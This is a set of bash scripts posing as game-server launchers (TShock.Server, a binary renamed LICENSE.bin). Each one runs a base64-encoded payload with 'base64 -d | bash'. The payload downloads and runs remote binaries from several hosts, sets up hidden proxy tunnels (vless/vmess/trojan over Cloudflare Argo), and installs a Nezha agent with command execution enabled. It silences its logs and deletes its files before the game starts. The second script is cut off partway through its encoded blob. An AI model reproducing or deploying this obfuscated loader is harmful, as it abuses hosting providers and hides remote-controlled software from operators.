| #!/bin/bash 2 | export UUID=${UUID:-'00000000-0000-0000-0000-000000000008'} 3 | export NEZHA_SERVER=${NEZHA_SERVER:-''} 4 | export NEZHA_PORT=${NEZHA_PORT:-'5555'} 5 | export NEZHA_KEY=${NEZHA_KEY:-''} 6 | export ARGO_PORT=${ARGO_PORT:-'8001'} 7 | export ARGO_DOMAIN=${ARGO_DOMAIN:-''} 8 | export ARGO_AUTH=${ARGO_AUTH:-''} 9 | export CFIP=${CFIP:-'www.visa.com.tw'} 10 | export CFPORT=${CFPORT:-'443'} 11 | export NAME=${NAME:-'Tick'} 12 | export FILE_PATH=${FILE_PATH:-'./worlds'} 13 | export GAME_FILE=${GAME_FILE:-'LICENSE.bin'} # 原msh_server.bin文件改名后的名字填在这里 14 | 15 | echo "WyAhIC1kICIke0ZJTEVfUEFUSH0iIF0gJiYgbWtkaXIgJHtGSUxFX1BBVEh9CgpybSAtcmYgJHtGSUxFX1BBVEh9L2Jvb3QubG9nICR7RklMRV9QQVRIfS9zdWIudHh0ICR7RklMRV9QQVRIfS9jb25maWcuanNvbiAke0ZJTEVfUEFUSH0vdHVubmVsLmpzb24gJHtGSUxFX1BBVEh9L3R1bm5lbC55bWwKCmFyZ29fY29uZmlndXJlKCkgewogIGlmIFtbIC16ICRBUkdPX0FVVEggfHwgLXogJEFSR09fRE9NQUlOIF1dOyB0aGVuCiAgICBlY2hvIC1lICJcZVsxOzMybUFSR09fRE9NQUlOIG9yIEFSR09fQVVUSCB2YXJpYWJsZSBpcyBlbXB0eSwgdXNlIHF1aWNrIHR1bm5lbHNcZVswbSIKICAgIHJldHVybgogIGZpCgogIGlmIFtbICRBUkdPX0FVVEggPX4gVHVubmVsU2VjcmV0IF1dOyB0aGVuCiAgICBlY2hvICRBUkdPX0FVVEggPiAke0ZJTEVfUEFUSH0vdHVubmVsLmpzb24KICAgIGNhdCA+ICR7RklMRV9QQVRIfS90dW5uZWwueW1sIDw8IEVPRgp0dW5uZWw6ICQoY3V0IC1kXCIgLWYxMiA8PDwgIiRBUkdPX0FVVEgiKQpjcmVkZW50aWFscy1maWxlOiAke0ZJTEVfUEFUSH0vdHVubmVsLmpzb24KcHJvdG9jb2w6IGh0dHAyCgppbmdyZXNzOgogIC0gaG9zdG5hbWU6ICRBUkdPX0RPTUFJTgogICAgc2VydmljZTogaHR0cDovL2xvY2FsaG9zdDokQVJHT19QT1JUCiAgICBvcmlnaW5SZXF1ZXN0OgogICAgICBub1RMU1ZlcmlmeTogdHJ1ZQogIC0gc2VydmljZTogaHR0cF9zdGF0dXM6NDA0CkVPRgogIGVsc2UKICAgIGVjaG8gLWUgIlxlWzE7MzJtQVJHT19BVVRIIG1pc21hdGNoIFR1bm5lbFNlY3JldCx1c2UgdG9rZW4gY29ubmVjdCB0byB0dW5uZWxcZVswbSIKICBmaQp9CmFyZ29fY29uZmlndXJlCndhaXQKCmdlbmVyYXRlX2NvbmZpZygpIHsKICBjYXQgPiAke0ZJTEVfUEFUSH0vY29uZmlnLmpzb24gPDwgRU9GCnsKICAibG9nIjogeyAiYWNjZXNzIjogIi9kZXYvbnVsbCIsICJlcnJvciI6ICIvZGV2L251bGwiLCAibG9nbGV2ZWwiOiAibm9uZSIgfSwKICAiaW5ib3VuZHMiOiBbCiAgICB7CiAgICAgICJwb3J0IjogJEFSR09fUE9SVCwKICAgICAgInByb3RvY29sIjogInZsZXNzIiwKICAgICAgInNldHRpbmdzIjogewogICAgICAgICJjbGllbnRzIjogW3sgImlkIjogIiR7VVVJRH0iLCAiZmxvdyI6ICJ4dGxzLXJwcngtdmlzaW9uIiB9XSwKICAgICAgICAiZGVjcnlwdGlvbiI6ICJub25lIiwKICAgICAgICAiZmFsbGJhY2tzIjogWwogICAgICAgICAgeyAiZGVzdCI6IDMwMDEgfSwgeyAicGF0aCI6ICIvdmxlc3MtYXJnbyIsICJkZXN0IjogMzAwMiB9LAogICAgICAgICAgeyAicGF0aCI6ICIvdm1lc3MtYXJnbyIsICJkZXN0IjogMzAwMyB9LCB7ICJwYXRoIjogIi90cm9qYW4tYXJnbyIsICJkZXN0IjogMzAwNCB9CiAgICAgICAgXQogICAgICB9LAogICAgICAic3RyZWFtU2V0dGluZ3MiOiB7ICJuZXR3b3JrIjogInRjcCIgfQogICAgfSwKICAgIHsKICAgICAgInBvcnQiOiAzMDAxLCAibGlzdGVuIjogIjEyNy4wLjAuMSIsICJwcm90b2NvbCI6ICJ2bGVzcyIsCiAgICAgICJzZXR0aW5ncyI6IHsgImNsaWVudHMiOiBbeyAiaWQiOiAiJHtVVUlEfSIgfV0sICJkZWNyeXB0aW9uIjogIm5vbmUiIH0sCiAgICAgICJzdHJlYW1TZXR0aW5ncyI6IHsgIm5ldHdvcmsiOiAidGNwIiwgInNlY3VyaXR5IjogIm5vbmUiIH0KICAgIH0sCiAgICB7CiAgICAgICJwb3J0IjogMzAwMiwgImxpc3RlbiI6ICIxMjcuMC4wLjEiLCAicHJvdG9jb2wiOiAidmxlc3MiLAogICAgICAic2V0dGluZ3MiOiB7ICJjbGllbnRzIjogW3sgImlkIjogIiR7VVVJRH0iLCAibGV2ZWwiOiAwIH1dLCAiZGVjcnlwdGlvbiI6ICJub25lIiB9LAogICAgICAic3RyZWFtU2V0dGluZ3MiOiB7ICJuZXR3b3JrIjogIndzIiwgInNlY3VyaXR5IjogIm5vbmUiLCAid3NTZXR0aW5ncyI6IHsgInBhdGgiOiAiL3ZsZXNzLWFyZ28iIH0gfSwKICAgICAgInNuaWZmaW5nIjogeyAiZW5hYmxlZCI6IHRydWUsICJkZXN0T3ZlcnJpZGUiOiBbImh0dHAiLCAidGxzIiwgInF1aWMiXSwgIm1ldGFkYXRhT25seSI6IGZhbHNlIH0KICAgIH0sCiAgICB7CiAgICAgICJwb3J0IjogMzAwMywgImxpc3RlbiI6ICIxMjcuMC4wLjEiLCAicHJvdG9jb2wiOiAidm1lc3MiLAogICAgICAic2V0dGluZ3MiOiB7ICJjbGllbnRzIjogW3sgImlkIjogIiR7VVVJRH0iLCAiYWx0ZXJJZCI6IDAgfV0gfSwKICAgICAgInN0cmVhbVNldHRpbmdzIjogeyAibmV0d29yayI6ICJ3cyIsICJ3c1NldHRpbmdzIjogeyAicGF0aCI6ICIvdm1lc3MtYXJnbyIgfSB9LAogICAgICAic25pZmZpbmciOiB7ICJlbmFibGVkIjogdHJ1ZSwgImRlc3RPdmVycmlkZSI6IFsiaHR0cCIsICJ0bHMiLCAicXVpYyJdLCAibWV0YWRhdGFPbmx5IjogZmFsc2UgfQogICAgfSwKICAgIHsKICAgICAgInBvcnQiOiAzMDA0LCAibGlzdGVuIjogIjEyNy4wLjAuMSIsICJwcm90b2NvbCI6ICJ0cm9qYW4iLAogICAgICAic2V0dGluZ3MiOiB7ICJjbGllbnRzIjogW3sgInBhc3N3b3JkIjogIiR7VVVJRH0iIH1dIH0sCiAgICAgICJzdHJlYW1TZXR0aW5ncyI6IHsgIm5ldHdvcmsiOiAid3MiLCAic2VjdXJpdHkiOiAibm9uZSIsICJ3c1NldHRpbmdzIjogeyAicGF0aCI6ICIvdHJvamFuLWFyZ28iIH0gfSwKICAgICAgInNuaWZmaW5nIjogeyAiZW5hYmxlZCI6IHRydWUsICJkZXN0T3ZlcnJpZGUiOiBbImh0dHAiLCAidGxzIiwgInF1aWMiXSwgIm1ldGFkYXRhT25seSI6IGZhbHNlIH0KICAgIH0KICBdLAogICJkbnMiOiB7ICJzZXJ2ZXJzIjogWyJodHRwcytsb2NhbDovLzguOC44LjgvZG5zLXF1ZXJ5Il0gfSwKICAib3V0Ym91bmRzIjogWwogICAgeyAicHJvdG9jb2wiOiAiZnJlZWRvbSIgfSwKICAgIHsKICAgICAgInRhZyI6ICJXQVJQIiwgInByb3RvY29sIjogIndpcmVndWFyZCIsCiAgICAgICJzZXR0aW5ncyI6IHsKICAgICAgICAic2VjcmV0S2V5IjogIllGWU9BZGJ3MWJLVEhsTk5pK2FFakJNM0JPN3VudUZDNXJPa01SQXo5WFk9IiwKICAgICAgICAiYWRkcmVzcyI6IFsiMTcyLjE2LjAuMi8zMiIsICIyNjA2OjQ3MDA6MTEwOjhhMzY6ZGY5MjoxMDJhOjk2MDI6ZmExOC8xMjgiXSwKICAgICAgICAicGVlcnMiOiBbeyAicHVibGljS2V5IjogImJtWE9DK0YxRnhFTUY5ZHlpSzJINS8xU1V0ekgwSnVWbzUxaDJ3UGZneW89IiwgImFsbG93ZWRJUHMiOiBbIjAuMC4wLjAvMCIsICI6Oi8wIl0sICJlbmRwb2ludCI6ICIxNjIuMTU5LjE5My4xMDoyNDA4IiB9XSwKICAgICAgICAicmVzZXJ2ZWQiOiBbNzgsIDEzNSwgNzZdLCAibXR1IjogMTI4MAogICAgICB9CiAgICB9CiAgXSwKICAicm91dGluZyI6IHsKICAgICJkb21haW5TdHJhdGVneSI6ICJBc0lzIiwKICAgICJydWxlcyI6IFt7ICJ0eXBlIjogImZpZWxkIiwgImRvbWFpbiI6IFsiZG9tYWluOm9wZW5haS5jb20iLCAiZG9tYWluOmNsYXVkZS5haSIsICJkb21haW46Y2hhdC5vcGVuYWkuY29tIiwgImRvbWFpbjpjaGF0Z3B0LmNvbSJdLCAib3V0Ym91bmRUYWciOiAiV0FSUCIgfV0KICB9Cn0KRU9GCn0KZ2VuZXJhdGVfY29uZmlnCndhaXQKCkFSQ0g9JCh1bmFtZSAtbSkgJiYgRE9XTkxPQURfRElSPSIke0ZJTEVfUEFUSH0iICYmIG1rZGlyIC1wICIkRE9XTkxPQURfRElSIiAmJiBGSUxFX0lORk89KCkKaWYgWyAiJEFSQ0giID09ICJhcm0iIF0gfHwgWyAiJEFSQ0giID09ICJhcm02NCIgXSB8fCBbICIkQVJDSCIgPT0gImFhcmNoNjQiIF07IHRoZW4KICAgIEZJTEVfSU5GTz0oImh0dHBzOi8vZ2l0aHViLmNvbS9lb29jZS90ZXN0L3JlbGVhc2VzL2Rvd25sb2FkL0FSTS9zZXJ2ZXIgYm90IiAiaHR0cHM6Ly9naXRodWIuY29tL2Vvb2NlL3Rlc3QvcmVsZWFzZXMvZG93bmxvYWQvQVJNL3dlYiB3ZWIiICJodHRwczovL2dpdGh1Yi5jb20vZW9vY2UvdGVzdC9yZWxlYXNlcy9kb3dubG9hZC9BUk0vc3dpdGggbnBtIikKZWxpZiBbICIkQVJDSCIgPT0gImFtZDY0IiBdIHx8IFsgIiRBUkNIIiA9PSAieDg2XzY0IiBdIHx8IFsgIiRBUkNIIiA9PSAieDg2IiBdOyB0aGVuCiAgICBGSUxFX0lORk89KCJodHRwczovL2dpdGh1Yi5jb20vZW9vY2UvdGVzdC9yYXcvbWFpbi9zZXJ2ZXIgYm90IiAiaHR0cHM6Ly9naXRodWIuY29tL2Vvb2NlL3Rlc3QvcmF3L21haW4vd2ViIHdlYiIgImh0dHBzOi8vYW1kNjQuMmdvLnVzLmtnL2FnZW50IG5wbSIpCmVsc2UKICAgIGVjaG8gIlVuc3VwcG9ydGVkIGFyY2hpdGVjdHVyZTogJEFSQ0giCiAgICBleGl0IDEKZmkKZm9yIGVudHJ5IGluICIke0ZJTEVfSU5GT1tAXX0iOyBkbwogICAgVVJMPSQoZWNobyAiJGVudHJ5IiB8IGN1dCAtZCAnICcgLWYgMSkKICAgIE5FV19GSUxFTkFNRT0kKGVjaG8gIiRlbnRyeSIgfCBjdXQgLWQgJyAnIC1mIDIpCiAgICBGSUxFTkFNRT0iJERPV05MT0FEX0RJUi8kTkVXX0ZJTEVOQU1FIgogICAgaWYgWyAtZSAiJEZJTEVOQU1FIiBdOyB0aGVuCiAgICAgICAgZWNobyAtZSAiXGVbMTszMm0kRklMRU5BTUUgYWxyZWFkeSBleGlzdHMsU2tpcHBpbmcgZG93bmxvYWRcZVswbSIKICAgIGVsc2UKICAgICAgICBjdXJsIC1MIC1zUyAtbyAiJEZJTEVOQU1FIiAiJFVSTCIKICAgICAgICBlY2hvIC1lICJcZVsxOzMybURvd25sb2FkaW5nICRGSUxFTkFNRVxlWzBtIgogICAgZmkKZG9uZQp3YWl0CgpydW4oKSB7CiAgaWYgWyAtZSAiJHtGSUxFX1BBVEh9L25wbSIgXTsgdGhlbgogICAgY2htb2QgNzc3ICIke0ZJTEVfUEFUSH0vbnBtIgogICAgdGxzUG9ydHM9KCI0NDMiICI4NDQzIiAiMjA5NiIgIjIwODciICIyMDgzIiAiMjA1MyIpCiAgICBpZiBbWyAiJHt0bHNQb3J0c1sqXX0iID1+ICIke05FWkhBX1BPUlR9IiBdXTsgdGhlbgogICAgICBORVpIQV9UTFM9Ii0tdGxzIgogICAgZWxzZQogICAgICBORVpIQV9UTFM9IiIKICAgIGZpCiAgICBpZiBbIC1uICIkTkVaSEFfU0VSVkVSIiBdICYmIFsgLW4gIiRORVpIQV9QT1JUIiBdICYmIFsgLW4gIiRORVpIQV9LRVkiIF07IHRoZW4KICAgICAgICBub2h1cCAiJHtGSUxFX1BBVEh9L25wbSIgLXMgJHtORVpIQV9TRVJWRVJ9OiR7TkVaSEFfUE9SVH0gLXAgJHtORVpIQV9LRVl9ICR7TkVaSEFfVExTfSA+L2Rldi9udWxsIDI+JjEgJgoJCSAgIHNsZWVwIDIKICAgICAgICBlY2hvIC1lICJcZVsxOzMybW5wbSBpcyBydW5uaW5nXGVbMG0iCiAgICBlbHNlCiAgICAgICAgZWNobyAtZSAiXGVbMTszNW1ORVpIQSB2YXJpYWJsZSBpcyBlbXB0eSxza2lwaW5nIHJ1bmluZ1xlWzBtIgogICAgZmkKICBmaQoKICBpZiBbIC1lICIke0ZJTEVfUEFUSH0vd2ViIiBdOyB0aGVuCiAgICBjaG1vZCA3NzcgIiR7RklMRV9QQVRIfS93ZWIiCiAgICBub2h1cCAiJHtGSUxFX1BBVEh9L3dlYiIgLWMgJHtGSUxFX1BBVEh9L2NvbmZpZy5qc29uID4vZGV2L251bGwgMj4mMSAmCgkgc2xlZXAgMgogICAgZWNobyAtZSAiXGVbMTszMm13ZWIgaXMgcnVubmluZ1xlWzBtIgogIGZpCgogIGlmIFsgLWUgIiR7RklMRV9QQVRIfS9ib3QiIF07IHRoZW4KICAgIGNobW9kIDc3NyAiJHtGSUxFX1BBVEh9L2JvdCIKICAgIGlmIFtbICRBUkdPX0FVVEggPX4gXltBLVowLTlhLXo9XXsxMjAsMjUwfSQgXV07IHRoZW4KICAgICAgYXJncz0idHVubmVsIC0tZWRnZS1pcC12ZXJzaW9uIGF1dG8gLS1uby1hdXRvdXBkYXRlIC0tcHJvdG9jb2wgaHR0cDIgcnVuIC0tdG9rZW4gJHtBUkdPX0FVVEh9IgogICAgZWxpZiBbWyAkQVJHT19BVVRIID1+IFR1bm5lbFNlY3JldCBdXTsgdGhlbgogICAgICBhcmdzPSJ0dW5uZWwgLS1lZGdlLWlwLXZlcnNpb24gYXV0byAtLWNvbmZpZyAke0ZJTEVfUEFUSH0vdHVubmVsLnltbCBydW4iCiAgICBlbHNlCiAgICAgIGFyZ3M9InR1bm5lbCAtLWVkZ2UtaXAtdmVyc2lvbiBhdXRvIC0tbm8tYXV0b3VwZGF0ZSAtLXByb3RvY29sIGh0dHAyIC0tbG9nZmlsZSAke0ZJTEVfUEFUSH0vYm9vdC5sb2cgLS1sb2dsZXZlbCBpbmZvIC0tdXJsIGh0dHA6Ly9sb2NhbGhvc3Q6JEFSR09fUE9SVCIKICAgIGZpCiAgICBub2h1cCAiJHtGSUxFX1BBVEh9L2JvdCIgJGFyZ3MgPi9kZXYvbnVsbCAyPiYxICYKICAgIHNsZWVwIDIKICAgIGVjaG8gLWUgIlxlWzE7MzJtYm90IGlzIHJ1bm5pbmdcZVswbSIKICBmaQp9IApydW4Kc2xlZXAgNgoKZnVuY3Rpb24gZ2V0X2FyZ29kb21haW4oKSB7CiAgaWYgW1sgLW4gJEFSR09fQVVUSCBdXTsgdGhlbgogICAgZWNobyAiJEFSR09fRE9NQUlOIgogIGVsc2UKICAgIGdyZXAgLW9FICdodHRwczovL1tbOmFsbnVtOl0rXC4tXStcLnRyeWNsb3VkZmxhcmVcLmNvbScgIiR7RklMRV9QQVRIfS9ib290LmxvZyIgfCBzZWQgJ3NAaHR0cHM6Ly9AQCcKICBmaQp9CgpnZW5lcmF0ZV9saW5rcygpIHsKICBhcmdvZG9tYWluPSQoZ2V0X2FyZ29kb21haW4pCiAgZWNobyAtZSAiXGVbMTszMm1BcmdvRG9tYWluOlxlWzE7MzVtJHthcmdvZG9tYWlufVxlWzBtXG4iCiAgc2xlZXAgMgoKICBpc3A9JChjdXJsIC1zIGh0dHBzOi8vc3BlZWQuY2xvdWRmbGFyZS5jb20vbWV0YSB8IGF3ayAtRlwiICd7cHJpbnQgJDI2Ii0iJDE4fScgfCBzZWQgLWUgJ3MvIC9fL2cnKQogIHNsZWVwIDIKCiAgVk1FU1M9InsgXCJ2XCI6IFwiMlwiLCBcInBzXCI6IFwiJHtOQU1FfS0ke2lzcH1cIiwgXCJhZGRcIjogXCIke0NGSVB9XCIsIFwicG9ydFwiOiBcIjQ0M1wiLCBcImlkXCI6IFwiJHtVVUlEfVwiLCBcImFpZFwiOiBcIjBcIiwgXCJzY3lcIjogXCJub25lXCIsIFwibmV0XCI6IFwid3NcIiwgXCJ0eXBlXCI6IFwibm9uZVwiLCBcImhvc3RcIjogXCIke2FyZ29kb21haW59XCIsIFwicGF0aFwiOiBcIi92bWVzcy1hcmdvP2VkPTIwNDhcIiwgXCJ0bHNcIjogXCJ0bHNcIiwgXCJzbmlcIjogXCIke2FyZ29kb21haW59XCIsIFwiYWxwblwiOiBcIlwiIH0iCgogIGNhdCA+ICR7RklMRV9QQVRIfS9saXN0LnR4dCA8PEVPRgp2bGVzczovLyR7VVVJRH1AJHtDRklQfTo0NDM/ZW5jcnlwdGlvbj1ub25lJnNlY3VyaXR5PXRscyZzbmk9JHthcmdvZG9tYWlufSZ0eXBlPXdzJmhvc3Q9JHthcmdvZG9tYWlufSZwYXRoPSUyRnZsZXNzLWFyZ28lM0ZlZCUzRDIwNDgjJHtOQU1FfS0ke2lzcH0KCnZtZXNzOi8vJChlY2hvICIkVk1FU1MiIHwgYmFzZTY0IC13MCkKCnRyb2phbjovLyR7VVVJRH1AJHtDRklQfTo0NDM/c2VjdXJpdHk9dGxzJnNuaT0ke2FyZ29kb21haW59JnR5cGU9d3MmaG9zdD0ke2FyZ29kb21haW59JnBhdGg9JTJGdHJvamFuLWFyZ28lM0ZlZCUzRDIwNDgjJHtOQU1FfS0ke2lzcH0KRU9GCgogIGJhc2U2NCAtdzAgJHtGSUxFX1BBVEh9L2xpc3QudHh0ID4gJHtGSUxFX1BBVEh9L3N1Yi50eHQKICBjYXQgJHtGSUxFX1BBVEh9L3N1Yi50eHQKICBlY2hvIC1lICJcZVsxOzMybVxuJHtGSUxFX1BBVEh9L3N1Yi50eHQgc2F2ZWQgc3VjY2Vzc2Z1bGx5XGVbMG0iCiAgc2xlZXAgNSAgCiAgcm0gLXJmICR7RklMRV9QQVRIfS9saXN0LnR4dCAke0ZJTEVfUEFUSH0vYm9vdC5sb2cgJHtGSUxFX1BBVEh9L2NvbmZpZy5qc29uICR7RklMRV9QQVRIfS90dW5uZWwuanNvbiAke0ZJTEVfUEFUSH0vdHVubmVsLnltbCAke0ZJTEVfUEFUSH0vbnBtICR7RklMRV9QQVRIfS93ZWIgJHtGSUxFX1BBVEh9L2JvdAp9CmdlbmVyYXRlX2xpbmtzCmVjaG8gLWUgIlxlWzE7OTZtUnVubmluZyBkb25lIVxlWzBtIgplY2hvIC1lICJcZVsxOzk2bVRoYW5rIHlvdSBmb3IgdXNpbmcgdGhpcyBzY3JpcHQsZW5qb3khXGVbMG0iCnNsZWVwIDEwCmNsZWFyCgplY2hvIC1lICJcZVsxOzk2bUFwcCBpcyBydW5uaW5nIVxlWzBtIg==" | base64 -d | bash 16 | 17 | ./$GAME_FILE -port $SERVER_PORT 18 | -------------------------------------------------------------------------------- /muse-bot.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eooce/all-games/192dbe6741e8c4885ca3fba9b39832d891bb280a/muse-bot.zip -------------------------------------------------------------------------------- /rust.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eooce/all-games/192dbe6741e8c4885ca3fba9b39832d891bb280a/rust.zip -------------------------------------------------------------------------------- /sing-box游戏机/TShock.Server: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | export UUID=${UUID:-'bc97f674-c578-4940-9234-0a1da46041b9'} # 哪吒v1,在不同的平台需要改UUID,否则会覆盖 3 | export NEZHA_SERVER=${NEZHA_SERVER:-''} # v1哪吒填写形式:nezha.abc.com:8008,v0哪吒填写形式:nezha.abc.com 4 | export NEZHA_PORT=${NEZHA_PORT:-''} # v1哪吒不要填写这个,v0哪吒agent端口为{443,8443,2053,2083,2087,2096}其中之一时自动开启tls 5 | export NEZHA_KEY=${NEZHA_KEY:-''} # v1的NZ_CLIENT_SECRET或v0的agent密钥 6 | export ARGO_DOMAIN=${ARGO_DOMAIN:-''} # 固定隧道域名,留空即启用临时隧道 7 | export ARGO_AUTH=${ARGO_AUTH:-''} # 固定隧道token或json,留空即启用临时隧道 8 | export CFIP=${CFIP:-'www.visa.com.tw'} # argo节点优选域名或优选ip 9 | export CFPORT=${CFPORT:-'443'} # argo节点端口 10 | export NAME=${NAME:-'Vls'} # 节点名称 11 | export FILE_PATH=${FILE_PATH:-'./bin'} # sub 路径 12 | export ARGO_PORT=${ARGO_PORT:-'8001'} # argo端口 使用固定隧道token,cloudflare后台设置的端口需和这里对应 13 | export TUIC_PORT=${TUIC_PORT:-'40000'} # Tuic 端口,支持多端口玩具可填写,否则不动 14 | export HY2_PORT=${HY2_PORT:-'50000'} # Hy2 端口,支持多端口玩具可填写,否则不动 15 | export REALITY_PORT=${REALITY_PORT:-'60000'} # reality 端口,支持多端口玩具可填写,否则不动 16 | export GAME_FILE=${GAME_FILE:-'TShock.Srever'} # 填写游戏文件名,不填写不启动游戏,无法运行 17 | export CHAT_ID=${CHAT_ID:-''} # TG chat_id,可在https://t.me/laowang_serv00_bot 获取 18 | export BOT_TOKEN=${BOT_TOKEN:-''} # TG bot_token, 使用自己的bot需要填写,使用上方的bot不用填写,不会给别人发送 19 | export UPLOAD_URL=${UPLOAD_URL:-''} # 订阅自动上传地址,没有可不填,需要填部署Merge-sub项目后的首页地址,例如:https://merge.serv00.net 20 | 21 | echo "ZGVsZXRlX29sZF9ub2RlcygpIHsKICBbWyAteiAkVVBMT0FEX1VSTCB8fCAhIC1mICIke0ZJTEVfUEFUSH0vc3ViLnR4dCIgXV0gJiYgcmV0dXJuCiAgb2xkX25vZGVzPSQoYmFzZTY0IC1kICIke0ZJTEVfUEFUSH0vc3ViLnR4dCIgfCBncmVwIC1FICcodmxlc3N8dm1lc3N8dHJvamFufGh5c3RlcmlhMnx0dWljKTovLycpCiAgW1sgLXogJG9sZF9ub2RlcyBdXSAmJiByZXR1cm4KCiAganNvbl9kYXRhPSd7Im5vZGVzIjogWycKICBmb3Igbm9kZSBpbiAkb2xkX25vZGVzOyBkbwogICAgICBqc29uX2RhdGErPSJcIiRub2RlXCIsIgogIGRvbmUKICBqc29uX2RhdGE9JHtqc29uX2RhdGElLH0gIAogIGpzb25fZGF0YSs9J119JwoKICBjdXJsIC1YIERFTEVURSAiJFVQTE9BRF9VUkwvYXBpL2RlbGV0ZS1ub2RlcyIgXAogICAgICAgIC1IICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iIFwKICAgICAgICAtZCAiJGpzb25fZGF0YSIgPiAvZGV2L251bGwgMj4mMQp9CmRlbGV0ZV9vbGRfbm9kZXMKClsgISAtZCAiJHtGSUxFX1BBVEh9IiBdICYmIG1rZGlyIC1wICIke0ZJTEVfUEFUSH0iICYmIHJtIC1yZiBib290LmxvZyBjb25maWcuanNvbiB0dW5uZWwuanNvbiB0dW5uZWwueW1sICIke0ZJTEVfUEFUSH0vc3ViLnR4dCIgPi9kZXYvbnVsbCAyPiYxCgoKYXJnb19jb25maWd1cmUoKSB7CiAgaWYgW1sgLXogJEFSR09fQVVUSCB8fCAteiAkQVJHT19ET01BSU4gXV07IHRoZW4KICAgIGVjaG8gLWUgIlxlWzE7MzJtQVJHT19ET01BSU4gb3IgQVJHT19BVVRIIHZhcmlhYmxlIGlzIGVtcHR5LCB1c2UgcXVpY2sgdHVubmVsc1xlWzBtIiAgIAogICAgcmV0dXJuCiAgZmkKCiAgaWYgW1sgJEFSR09fQVVUSCA9fiBUdW5uZWxTZWNyZXQgXV07IHRoZW4KICAgIGVjaG8gJEFSR09fQVVUSCA+IHR1bm5lbC5qc29uCiAgICBjYXQgPiB0dW5uZWwueW1sIDw8IEVPRgp0dW5uZWw6ICQoY3V0IC1kXCIgLWYxMiA8PDwgIiRBUkdPX0FVVEgiKQpjcmVkZW50aWFscy1maWxlOiB0dW5uZWwuanNvbgpwcm90b2NvbDogaHR0cDIKCmluZ3Jlc3M6CiAgLSBob3N0bmFtZTogJEFSR09fRE9NQUlOCiAgICBzZXJ2aWNlOiBodHRwOi8vbG9jYWxob3N0OiRBUkdPX1BPUlQKICAgIG9yaWdpblJlcXVlc3Q6CiAgICAgIG5vVExTVmVyaWZ5OiB0cnVlCiAgLSBzZXJ2aWNlOiBodHRwX3N0YXR1czo0MDQKRU9GCiAgZWxzZQogICAgZWNobyAtZSAiXGVbMTszMm1BUkdPX0FVVEggbWlzbWF0Y2ggVHVubmVsU2VjcmV0LHVzZSB0b2tlbiBjb25uZWN0IHRvIHR1bm5lbFxlWzBtIgogIGZpCn0KYXJnb19jb25maWd1cmUKd2FpdAoKZG93bmxvYWRfYW5kX3J1bigpIHsKQVJDSD0kKHVuYW1lIC1tKSAmJiBET1dOTE9BRF9ESVI9Ii4iICYmIG1rZGlyIC1wICIkRE9XTkxPQURfRElSIiAmJiBGSUxFX0lORk89KCkKaWYgWyAiJEFSQ0giID09ICJhcm0iIF0gfHwgWyAiJEFSQ0giID09ICJhcm02NCIgXSB8fCBbICIkQVJDSCIgPT0gImFhcmNoNjQiIF07IHRoZW4KICAgIEJBU0VfVVJMPSJodHRwczovL2FybTY0LnNzc3MubnljLm1uIgplbGlmIFsgIiRBUkNIIiA9PSAiYW1kNjQiIF0gfHwgWyAiJEFSQ0giID09ICJ4ODZfNjQiIF0gfHwgWyAiJEFSQ0giID09ICJ4ODYiIF07IHRoZW4KICAgIEJBU0VfVVJMPSJodHRwczovL2FtZDY0LnNzc3MubnljLm1uIgplbHNlCiAgICBlY2hvICJVbnN1cHBvcnRlZCBhcmNoaXRlY3R1cmU6ICRBUkNIIgogICAgZXhpdCAxCmZpCkZJTEVfSU5GTz0oIiRCQVNFX1VSTC9zYiB3ZWIiICIkQkFTRV9VUkwvYm90IGJvdCIpCgppZiBbIC1uICIkTkVaSEFfUE9SVCIgXTsgdGhlbgogICAgRklMRV9JTkZPKz0oIiRCQVNFX1VSTC9hZ2VudCBucG0iKQplbHNlCiAgICBGSUxFX0lORk8rPSgiJEJBU0VfVVJML3YxIHBocCIpCiAgICBORVpIQV9UTFM9JChjYXNlICIke05FWkhBX1NFUlZFUiMjKjp9IiBpbiA0NDN8ODQ0M3wyMDk2fDIwODd8MjA4M3wyMDUzKSBlY2hvIC1uIHRydWU7OyAqKSBlY2hvIC1uIGZhbHNlOzsgZXNhYykKICAgIGNhdCA+ICIke0ZJTEVfUEFUSH0vY29uZmlnLnlhbWwiIDw8IEVPRgpjbGllbnRfc2VjcmV0OiAke05FWkhBX0tFWX0KZGVidWc6IGZhbHNlCmRpc2FibGVfYXV0b191cGRhdGU6IHRydWUKZGlzYWJsZV9jb21tYW5kX2V4ZWN1dGU6IGZhbHNlCmRpc2FibGVfZm9yY2VfdXBkYXRlOiB0cnVlCmRpc2FibGVfbmF0OiBmYWxzZQpkaXNhYmxlX3NlbmRfcXVlcnk6IGZhbHNlCmdwdTogZmFsc2UKaW5zZWN1cmVfdGxzOiBmYWxzZQppcF9yZXBvcnRfcGVyaW9kOiAxODAwCnJlcG9ydF9kZWxheTogMQpzZXJ2ZXI6ICR7TkVaSEFfU0VSVkVSfQpza2lwX2Nvbm5lY3Rpb25fY291bnQ6IGZhbHNlCnNraXBfcHJvY3NfY291bnQ6IGZhbHNlCnRlbXBlcmF0dXJlOiBmYWxzZQp0bHM6ICR7TkVaSEFfVExTfQp1c2VfZ2l0ZWVfdG9fdXBncmFkZTogZmFsc2UKdXNlX2lwdjZfY291bnRyeV9jb2RlOiBmYWxzZQp1dWlkOiAke1VVSUR9CkVPRgpmaQpkZWNsYXJlIC1BIEZJTEVfTUFQCmdlbmVyYXRlX3JhbmRvbV9uYW1lKCkgewogICAgbG9jYWwgY2hhcnM9YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY3ODkwCiAgICBsb2NhbCBuYW1lPSIiCiAgICBmb3IgaSBpbiB7MS4uNn07IGRvCiAgICAgICAgbmFtZT0iJG5hbWUke2NoYXJzOlJBTkRPTSUkeyNjaGFyc306MX0iCiAgICBkb25lCiAgICBlY2hvICIkbmFtZSIKfQpkb3dubG9hZF9maWxlKCkgewogICAgbG9jYWwgVVJMPSQxCiAgICBsb2NhbCBORVdfRklMRU5BTUU9JDIKCiAgICBpZiBjb21tYW5kIC12IGN1cmwgPi9kZXYvbnVsbCAyPiYxOyB0aGVuCiAgICAgICAgY3VybCAtTCAtc1MgLW8gIiRORVdfRklMRU5BTUUiICIkVVJMIgogICAgICAgIGVjaG8gLWUgIlxlWzE7MzJtRG93bmxvYWRlZCAkTkVXX0ZJTEVOQU1FIGJ5IGN1cmxcZVswbSIKICAgIGVsaWYgY29tbWFuZCAtdiB3Z2V0